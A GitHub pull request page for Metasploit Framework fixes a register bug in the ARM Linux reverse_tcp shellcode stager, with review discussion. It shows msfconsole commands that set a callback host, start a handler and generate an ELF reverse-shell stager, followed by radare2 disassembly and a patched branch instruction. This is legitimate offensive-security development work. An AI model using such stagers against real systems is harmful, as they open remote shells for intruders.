Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[shellcode, stager] ARM stager restore r0 in loop #19367

Open
wants to merge 4 commits into
base: master
Choose a base branch
from

Conversation

enty8080
Copy link

@enty8080 enty8080 commented Aug 5, 2024

r0 has return value instead of sockfd in second loop iteration

After first iteration r0 is filled with recv() return code, however we expect it to have sockfd for the next iteration, otherwise recv() will attempt to read from bad file descriptor (aka return value of previous recv() call)

It might require to modify stager inside modules directory.

r0 has return value instead of sockfd in second loop interation
@enty8080 enty8080 changed the title Put sockfd to r0 [shellcode, stager] ARM put sockfd to r0 Aug 5, 2024
@enty8080
Copy link
Author

enty8080 commented Aug 5, 2024

There might be the same problem with linux/armle/bind_tcp

@enty8080 enty8080 changed the title [shellcode, stager] ARM put sockfd to r0 [shellcode, stager] ARM stager restore r0 in loop Aug 5, 2024
@adfoster-r7
Copy link
Contributor

Thanks for the pull request!

Is this PR related to this issue? #16107 👀

@enty8080
Copy link
Author

enty8080 commented Aug 6, 2024

@adfoster-r7 I just looked through this issue. It might be related to this (reading from bad file descriptor causes segfault).

We also need to reassemble shellcode from external directory and put it to modules/payload/stager/linux/armle/reverse_tcp.rb. As you can see in this PR I only modified source code of shellcode and applied a small change to ruby payload, however I think I made a mistake and we need to recalculate the location where payload jumps (inside the read loop). It is quite difficult to modify payload when we only have machine code. I think using metasm to assemble code right on payload generation will simplify the modification of the payload without the need to recompile it every time. (Some metasploit payloads use metasm though)

P.S. I am currently working on creating an alternative platform in Python (like Metasploit) and store all payloads in assembly code and then invoke assembler on them only when user needs it. - You can take a look at it here - https://github.com/EntySec/HatSploit/blob/main/hatsploit/payloads/single/linux/x64/shell_reverse_tcp.py

@adfoster-r7
Copy link
Contributor

metasm isn't always viable/reliable, but if it is - that works for me 👍

In the scenarios were metasm isn't viable, which is an issue we ran into with the osx aarch64 payloads that landed recentlyish - we added a quick pipe of objdump to ruby to grab out the hex representation and comments, example: https://github.com/rapid7/metasploit-framework/pull/17129/files#diff-23f0b96528cb168853ac403470d4c09a500213b5b39d82fff073a04eab42aac0R1-R2 - it might be possible to follow suit with this pattern so it's easier to change the payloads again in the future

@enty8080
Copy link
Author

enty8080 commented Aug 8, 2024

@adfoster-r7 I have an idea. You can actually use keystone-engine instead of metasm. It seems more advanced and powerful and supports most of the CPU architectures. I used it to write shellcodes for macOS too and on M1 (arm64) it works well. I compiled few sources from external directory here and they seem to work just fine. In fact, my tool that I mentioned above where I store all payloads in assembly and then assemble them in keystone-engine has no issues with this approach.

@bwatters-r7 bwatters-r7 added payload rn-fix release notes fix labels Aug 23, 2024
@dledda-r7 dledda-r7 self-assigned this Oct 7, 2024
Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hello @enty8080!
So the shellcode is working but I don't think the change you did inside the .rb is reflecting your change on the .s.
Let me show you.
I've checked out your pr and have done:

msf6 payload(linux/armle/shell/reverse_tcp) > set lhost 172.26.152.250
lhost => 172.26.152.250
msf6 payload(linux/armle/shell/reverse_tcp) > to_handler 
[*] Payload Handler Started as Job 0
msf6 payload(linux/armle/shell/reverse_tcp) > 
[*] Started reverse TCP handler on 172.26.152.250:4444 
msf6 payload(linux/armle/shell/reverse_tcp) > generate -f elf -o ~/Public/stager.armle
[*] Writing 344 bytes to ~/Public/stager.armle...
msf6 payload(linux/armle/shell/reverse_tcp) > 

Then I opened the stager with radare 2

┌──(kali㉿kali)-[~/Public]
└─$ radare2 stager.armle   
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
[0x00008054]> aaaa
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Emulate functions to find computed references (aaef)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
INFO: Finding xrefs in noncode sections (e anal.in=io.maps.x; aav)
[0x00008054]> afl
0x00008054   11    244 entry0
[0x00008054]> pdf
....

radare2 output:

│     │││   ;-- syscall.mmap2:
│     │││   ;-- syscall.mmap2.0:
│     │││   0x000080e0      000000ef       svc 0
│     │││   0x000080e4      010070e3       cmn r0, 1                   ; 1
│    ┌────< 0x000080e8      1200000a       beq 0x8138
│    ││││   0x000080ec      637087e2       add r7, r7, 0x63
│    ││││   0x000080f0      0010a0e1       mov r1, r0
│    ││││   0x000080f4      0030a0e3       mov r3, 0
│    ││││   0x000080f8      0c00a0e1       mov r0, ip
│    ││││   ; CODE XREF from entry0 @ 0x8120(x)
│   ┌─────> 0x000080fc      00209de5       ldr r2, [sp]
│   ╎││││   0x00008100      fa2f42e2       sub r2, r2, 0x3e8
│   ╎││││   0x00008104      00208de5       str r2, [sp]
│   ╎││││   0x00008108      000052e3       cmp r2, 0
│  ┌──────< 0x0000810c      040000da       ble 0x8124
│  │╎││││   0x00008110      fa2fa0e3       mov r2, 0x3e8
│  │╎││││   ;-- syscall.291.1:
│  │╎││││   ;-- syscall.291.4:
│  │╎││││   0x00008114      000000ef       svc 0
│  │╎││││   0x00008118      000050e3       cmp r0, 0
│ ┌───────< 0x0000811c      050000ba       blt 0x8138
│ ││└─────< 0x00008120      f5ffffea       b 0x80fc
│ ││ ││││   ; CODE XREF from entry0 @ 0x810c(x)
│ │└──────> 0x00008124      fa2f82e2       add r2, r2, 0x3e8

Where you see the ; CODE XREF from entry0 @ 0x8120(x) you can see the loop: you were trying to modify to include the mov r0, ip. The radare2 graph analysis, however, is showing we are still not executing that instruction inside the loop.

Binary Ninja Graph analisys

emulation_armle_binja

One way to fix this is to modify also the branch instruction to include the previous instruction inside the loop, you can use rasm2 to assemble the new instruction:

┌──(kali㉿kali)-[~]
└─$ rasm2 -a arm -b 32 -o 0x8120 'b 0x80fc'
f5ffffea
                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ rasm2 -a arm -b 32 -o 0x8120 'b 0x80f8'
f4ffffea

Than change the modules/payloads/stagers/linux/armle/reverse_tcp.rb line 92

FROM:
 0xeafffff5,          #        b       80dc <loop>
TO:
 0xeafffff4,          #        b       80dc <loop>

Let me know if you need anything else!

@enty8080
Copy link
Author

@dledda-r7 Thank you for detailed explanation, I see where I made a mistake. I've just changed this instruction in payload.

Copy link
Contributor

@dledda-r7 dledda-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good

@bcoles bcoles added the arm arm label Dec 18, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
arm arm payload rn-fix release notes fix
Projects
Status: In Progress
Development

Successfully merging this pull request may close these issues.

5 participants